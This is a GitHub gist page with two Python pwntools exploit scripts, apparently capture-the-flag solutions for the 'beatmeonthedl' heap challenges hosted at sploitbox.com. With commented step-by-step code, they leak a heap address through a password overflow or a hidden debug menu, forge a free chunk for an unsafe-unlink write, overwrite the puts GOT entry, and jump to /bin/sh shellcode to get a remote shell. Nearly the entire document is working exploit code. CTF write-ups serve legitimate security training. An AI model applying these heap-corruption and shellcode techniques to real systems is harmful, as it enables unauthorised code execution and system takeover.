Created
June 21, 2017 01:51
-
-
Save xshill/43e1b89d7cd0d5a1c512a1f88307cb82 to your computer and use it in GitHub Desktop.
Solutions for beatmeonthedl and beatmeonthedl_lite
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python2 | |
from pwn import * | |
context(os="linux", arch="amd64") | |
#p = process("./beatmeonthedl") | |
p = remote("sploitbox.com", 10001) | |
# Make a menu choice | |
def menu(choice): | |
p.recvuntil("| ") | |
p.sendline(str(choice)) | |
# Add a request | |
def request(data): | |
menu(1) | |
p.recvuntil('Request text > ') | |
p.send(data) | |
# Print requests | |
def _print(): | |
menu(2) | |
# Delete a request | |
def delete(req): | |
menu(3) | |
p.recvuntil('choice: ') | |
p.sendline(str(req)) | |
# Change a request | |
def change(req, data): | |
menu(4) | |
p.recvuntil('choice: ') | |
p.sendline(str(req)) | |
p.recvuntil('data: ') | |
p.send(data) | |
# Exit | |
def exit(): | |
menu(5) | |
# Credentials are written in plain text in the binary | |
username = "mcfly" | |
password = "awesnap" | |
# The general idea for this solution is to write an entry in the GOT that points | |
# to our shellcode so that the program ends up jumping on it. | |
# We can exploit the overflow on the password input to leak a pointer to the | |
# heap, which we will need to be able to jump to our shellcode. To achieve this | |
# we need to write a password with a length of 24 bytes. | |
fakepass = "A" * 24 | |
p.recvuntil("Enter username: ") | |
p.sendline(username) | |
p.recv() | |
# Send the wrong password once to leak the pointer to the heap. | |
p.send(fakepass) | |
output = p.recvuntil("Enter username: ") | |
# Find our fake password in the output | |
heap_start = output[output.index(fakepass):] | |
# Drop the first 24 bytes, which is our fake password. | |
heap_start = heap_start[24:] | |
# We expect our pointer to be about 5 bytes long | |
heap_start = heap_start[:5] | |
# We need to interpret the data we receive correctly to get the right address. | |
# The 4th byte of the pointer might be a null byte (in which case only the 4th | |
# character will be a newline). It might also be a newline (in which case the | |
# 5th character will also be a newline). | |
if heap_start[3] == "\n" and heap_start[4] != "\n": | |
heap_start = heap_start[:3] + "\x00" * 5 | |
else: | |
heap_start = heap_start[:4] + "\x00" * 4 | |
# The heap always starts at 0xXXXXXX00, and the first two chunks are used for | |
# the passwords that we sent. The text for the first request actually starts | |
# at 0xXXXXXX50, so we change the first byte to 0x50. | |
shellcode_start = "\x50" + heap_start[1:] | |
# Login correctly this time. | |
p.sendline(username) | |
p.recv() | |
p.send(password) | |
# By writing a request properly, we can get | |
# `*(a + 0x18) = b` and `*(b + 0x10) = a` | |
# where a and b are two addresses that we control (fd and bk). | |
# We create all requests first and then set up the exploit. | |
request("you") | |
request("just") | |
request("got") | |
request("pwned") | |
# We will put our shellcode in the first request | |
# Part of the shellcode will be overwritten, we need to start the shellcode with | |
# a jump to get around that. | |
# This is the assembly to jump 0x13 bytes forward. | |
shellcode = "\xe9\x13\x00\x00\x00" | |
# Filler | |
shellcode += "\x90" * 0x13 | |
# Assembly to execute /bin/sh | |
shellcode += asm(shellcraft.sh()) | |
change(0, shellcode) | |
print("Wrote shellcode") | |
# We want to replace the entry for puts with the address of our shellcode. | |
# The address of the entry for puts is this: | |
puts_reloc_address = 0x609958 | |
# We need to subtract 0x18 as per the equation. | |
fd = pack(puts_reloc_address - 0x18) | |
# We want to write the address of our shellcode in the entry for puts. | |
bk = shellcode_start | |
# Update request #3 to make it look like a free chunk. We also overflow | |
# on request #4 to change it's prev_inuse bit to 0 (size 0x42) to make it think | |
# that request #3 is free. | |
evil_request = fd + bk + "\x00" * 0x20 + pack(0x40) + pack(0x42) | |
change(2, evil_request) | |
print("Wrote evil request") | |
# Deleting request #4 will trigger a call to consolidate requests #3 and #4, | |
# which will change the entry for puts with the address of our shellcode. | |
delete(3) | |
# Puts (and therefore our shellcode) is called immediately after we're done | |
# deleting a request, so at this point we have a shell. | |
print("Popping shell :)") | |
p.interactive() |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python2 | |
from pwn import * | |
context(os="linux", arch="amd64") | |
#p = process("./beatmeonthedl_lite") | |
p = remote("sploitbox.com", 10002) | |
# Make a menu choice | |
def menu(choice): | |
p.recvuntil("| ") | |
p.sendline(str(choice)) | |
# Add a request | |
def request(data): | |
menu(1) | |
p.recvuntil('Request text > ') | |
p.send(data) | |
# Print requests | |
def _print(): | |
menu(2) | |
# Delete a request | |
def delete(req): | |
menu(3) | |
p.recvuntil('choice: ') | |
p.sendline(str(req)) | |
# Change a request | |
def change(req, data): | |
menu(4) | |
p.recvuntil('choice: ') | |
p.sendline(str(req)) | |
p.recvuntil('data: ') | |
p.send(data) | |
# Exit | |
def exit(): | |
menu(5) | |
# There is a hidden action that allows us to see the base address of the heap. | |
def print_debug(): | |
menu(-1337) | |
p.recvuntil("Heap: ") | |
heap_hex = p.recvline() | |
return int(heap_hex, 16) | |
# The general idea for this solution is to write an entry in the GOT that points | |
# to our shellcode so that the program ends up jumping on it. | |
# By writing a request properly, we can get | |
# `*(a + 0x18) = b` and `*(b + 0x10) = a` | |
# where a and b are two addresses that we control (fd and bk). | |
# We create all requests first and then set up the exploit. | |
request("you") | |
request("just") | |
request("got") | |
request("pwned") | |
# We will put our shellcode in the first request | |
# Part of the shellcode will be overwritten, we need to start the shellcode with | |
# a jump to get around that. | |
# This is the assembly to jump 0x13 bytes forward. | |
shellcode = "\xe9\x13\x00\x00\x00" | |
# Filler | |
shellcode += "\x90" * 0x13 | |
# Assembly to execute /bin/sh | |
shellcode += asm(shellcraft.sh()) | |
change(0, shellcode) | |
print("Wrote shellcode") | |
# We need to find the address of our shellcode to be able to jump to it. | |
# Get the base address of the heap. | |
heap_start = print_debug() | |
# There are 0x10 bytes of metadata, so the actual shellcode starts here: | |
shellcode_start = heap_start + 0x10 | |
# We want to replace the entry for puts with the address of our shellcode. | |
# The address of the entry for puts is this: | |
puts_reloc_address = 0x60a390 | |
# We need to subtract 0x18 as per the equation. | |
fd = pack(puts_reloc_address - 0x18) | |
# We want to write the address of our shellcode in the entry for puts. | |
bk = pack(shellcode_start) | |
# Update request #3 to make it look like a free chunk. We also overflow | |
# on request #4 to change it's prev_inuse bit to 0 (size 0x42) to make it think | |
# that request #3 is free. | |
evil_request = fd + bk + "\x00" * 0x20 + pack(0x40) + pack(0x42) | |
change(2, evil_request) | |
print("Wrote evil request") | |
# Deleting request #4 will trigger a call to consolidate requests #3 and #4, | |
# which will change the entry for puts with the address of our shellcode. | |
delete(3) | |
# Puts (and therefore our shellcode) is called immediately after we're done | |
# deleting a request, so at this point we have a shell. | |
print("Popping shell :)") | |
p.interactive() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment